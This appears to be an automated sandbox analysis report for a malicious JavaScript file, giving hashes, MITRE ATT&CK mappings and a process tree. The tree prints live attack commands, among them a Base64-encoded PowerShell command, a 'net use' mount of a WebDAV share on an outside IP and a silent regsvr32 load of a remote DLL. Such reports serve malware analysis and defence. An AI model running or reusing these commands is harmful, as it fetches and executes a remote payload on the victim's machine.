99009e3c89f424fd01b517b2b644e587677c1bf42a3791d67ff8ec05e40eaace

Analysis

max time kernel
94s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/11/2024, 10:04

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General

Target

1688429849263022239.js
Size

720KB
MD5

6bb4dffdd348a4c3b1a2c22d6606e9f0
SHA1

f5d7853b07bf571a3ef736552ac9e7af914ec0b3
SHA256

99009e3c89f424fd01b517b2b644e587677c1bf42a3791d67ff8ec05e40eaace
SHA512

0000104cbda57ff9bd5ba38a6676c570f766465ded5a51adbd95753ec9bb78e664d31d92f91d266b8db7cf800262d235a6fd80da44654399db710ed7cb540b2d
SSDEEP

6144:I6G26HDfmyelKpU1lDA40K+SUbXeDA40K+SUbjTFrE1:ZG/TOKpU1+40K+SUbXR40K+SUbjTFrE1

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3588	powershell.exe
3588	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3588	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 3588	2324	wscript.exe	83
PID 2324 wrote to memory of 3588	2324	wscript.exe	83
PID 3588 wrote to memory of 3312	3588	powershell.exe	85
PID 3588 wrote to memory of 3312	3588	powershell.exe	85
PID 3588 wrote to memory of 2860	3588	powershell.exe	86
PID 3588 wrote to memory of 2860	3588	powershell.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1688429849263022239.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADEAOAA0ADcAMQAyADAAMQA0ADIAMQA3ADQANwAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
    3⤵
    PID:3312
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\218471201421747.dll
    3⤵
    PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juvzxkrs.ei4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3588-0-0x00007FF858793000-0x00007FF858795000-memory.dmp

Filesize
8KB

Download
memory/3588-1-0x000001CB3B1A0000-0x000001CB3B1C2000-memory.dmp

Filesize
136KB

Download
memory/3588-11-0x00007FF858790000-0x00007FF859251000-memory.dmp

Filesize
10.8MB

Download
memory/3588-12-0x00007FF858790000-0x00007FF859251000-memory.dmp

Filesize
10.8MB

Download
memory/3588-15-0x00007FF858790000-0x00007FF859251000-memory.dmp

Filesize
10.8MB

Download